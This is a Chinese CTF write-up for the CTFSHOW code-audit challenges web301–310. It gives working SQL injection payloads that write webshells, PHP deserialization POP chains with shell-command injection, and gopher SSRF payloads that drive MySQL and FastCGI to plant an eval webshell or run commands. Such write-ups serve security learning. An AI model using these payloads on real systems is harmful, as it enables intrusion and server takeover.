php代码审计ctf隐藏了目录,CTFSHOW 代码审计篇

web301

下载下来源码,发现checklogin.php里面的sql语句没有任何的过滤。

1cf00e3991f8250512c38ba03eca91df.png

所以直接注入就可以了。用sqlmap跑了下得到用户名密码 admin ctfshowwwww登陆进去就有flag

python sqlmap.py -u http://e62c174a-c4d4-4a58-a392-a41bfca926ee.chall.ctf.show/checklogin.php --form --batch --dump

然后我们也也可以写个木马

userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b

发现当前目录下有flag.php打开即可得到flag。

web302

根据提示

修改的地方: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

我们发现他用的是$row['sds_password']),也就是他已经执行完了sql语句,所以我们不用管他判断后会怎样。直接在checklogin.php写shell就行了

payload

userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b

web303

在dptadd.php中存在注入点

c2f31f159d22f6dccc3932a251d64e43.png

有个insert而且没有任何过滤。插入的数据会在dpt.php中查询出来

9c9eee0a0fd71d0856a634188e90c2d5.png

但是有个前提,必须得先登陆成功

b677416bc806cbb007f03322234f8ee7.png

有几个地方需要注意,用户名有长度限制,而且查询语句没有用到userpwd,

查询成功后会进行比较。

479e224645137efe46ca7246047bc5a5.png

那用户名我们就老老实实的写个admin。密码我怎么也不知道怎么弄,后来随便试了下admin,结果成功了=_= 。。。。。

剩下的就简单了,在dptadd.php中进行注入。

payload:

查表名

dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

查列名

dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23

查数据

dpt_name=1',sds_address =(select flag from sds_fl9g)%23

web304

没找到waf 就改了下表名 sds_flaag

还是上面的payload

web305

多了个waf和class.php

先看下waf,基本上注入没有啥希望了。再看下class.php。有个写文件操作。

7fb0d6ad988e695c0f2ab15eff196adc.png

在checklogin.php中存在反序列化的点。

所以传个cookie就可以了

poc:

class user{

public $username;

public $password;

public function __construct($u,$p){

$this->username=$u;

$this->password=$p;

}

}

echo serialize(new user('a.php',''));1

2

3

4

5

6

7

8

9

10

然后抓包传cookie,编码一下就可以了。

f014de6f84638019f65c0dcf2566dfbd.png

然后用蚁剑去连数据库,就能找到flag了。

d19be5414667c34616f282ce91a454bf.png

web306

存在反序列化函数,那我们找下有没有__wakeup或者__destruct发现有个destruct

那么在找下有没有可以利用的函数,一般就是读文件、写文件、执行系统命令这几种类型的函数。

发现存在file_put_contents

51ae0486dcb11ceffbf67cb82ddca4d5.png

需要调用一个close()方法,找下哪些地方有调用close的,在dao.php中找到一个,并且正好是__destruct内。

也就是说如果我们让$this->coon是log类,那么当反序列化时就会去调用log类中的close函数。

e6f491bff8456726ca2569b1e2e073ee.png

因为dao.php中包含了class.php所以只要找个包含dao.php的文件就可以了。

index.php就是我们可以利用的

8b18607bcbfa162c6a22a27fcbdca847.png

poc

class dao{

private $conn;

public function __construct(){

$this->conn=new log();

}

}

class log{

public $title='a.php';

public $info='';

}

$a=new dao();

echo base64_encode(serialize($a));1

2

3

4

5

6

7

8

9

10

11

12

13

14

传到cookie里面访问下index.php就可以生成木马了。

web307

开局先搜了下unserialize发现了四个。。。。。那我们先找可利用的函数,找到个shell_exec,然后找调用的地方。

3dbf591c023dd1dec47a04ac063112b8.png

有两处,比较一下就可以发现logout.php中的很好用

391a7fe432c584bfb9088b531b3748eb.png

只要修改下config类中的$cache_dir然后命令拼接下就行了。

我们这个反序列化出来的service有两个选择,一个是生成service类,一个是生成dao类。两个都可以调用clearCache函数,但是service是通过dao类调用的clearCache。所以我们不需要用到service类。直接

poc:

class config{

public $cache_dir = ';echo "" >a.php;';//linux的shell里面$有特殊意义所以转义一下。

}

class dao{

private $config;

public function __construct(){

$this->config=new config();

}

}

$a=new dao();

echo base64_encode(serialize($a));

?>1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

反序列化后会生成dao类,然后去调用clearCache函数,这时的cache_dir我们已经修改了。

web308

与上一题相比,命令执行利用点增加了过滤。输入的内容中只允许存在字母,所以这个利用点我们放弃。

82afa89245304707caf7bb769d45392a.png

然后在fun.php处多了个ssrf利用点。

ff7c6028fb60388760e9af4d3b6c42d0.png

找具体的调用位置,在dao.php中被调用。我们再来找checkVersion在哪被调用。

a0f989f68040e118c8314b00ad9ba8da.png

在index.php中存在利用点。跟上一题基本差不多.

038083ca27b916a52a17913f1d2bb855.png

poc

class config{

public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';

}

class dao{

private $config;

public function __construct(){

$this->config=new config();

}

}

$a=new dao();

echo base64_encode(serialize($a));

?>1

2

3

4

5

6

7

8

9

10

11

12

13

14

具体的值通过gopherus生成

下载地址https://github.com/tarunkant/Gopherus

91d53d519b37d639d38bc17340555886.png

把生成的poc传到cookie中,然后就会生成a.php,剩下的就简单了。

6464399f0e99cbbf9141c6497e8326e5.png

web309

打的不是mysql了,打的是fastcgi.探测是通过gopher协议的延迟判断的

gopher://127.0.0.1:9000

63517b17a997fb6058b7fdaa738ad192.png

poc:

class config{

public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';

}

class dao{

private $config;

public function __construct(){

$this->config=new config();

}

}

$a=new dao();

echo base64_encode(serialize($a));

?>1

2

3

4

5

6

7

8

9

10

11

12

13

14

web310

9000和6379都是关着的。那我们可以试试读下配置文件

poc

class config{

public $update_url = 'file:///etc/nginx/nginx.conf';

}

class dao{

private $config;

public function __construct(){

$this->config=new config();

}

}

$a=new dao();

echo base64_encode(serialize($a));

?>1

2

3

4

5

6

7

8

9

10

11

12

13

14

得到关键信息

server { listen 4476; server_name localhost; root /var/flag; index index.html; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }1

2

3

4

5

6

7

8

9

10

接着访问下

poc

class config{

public $update_url = 'http://127.0.0.1:4476';

}

class dao{

private $config;

public function __construct(){

$this->config=new config();

}

}

$a=new dao();

echo base64_encode(serialize($a));

?>1

2

3

4

5

6

7

8

9

10

11

12

13

得到flag,flag需要大家仔细找下。

文章来源: blog.csdn.net,作者:yu22x,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/miuzzx/article/details/111352849

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值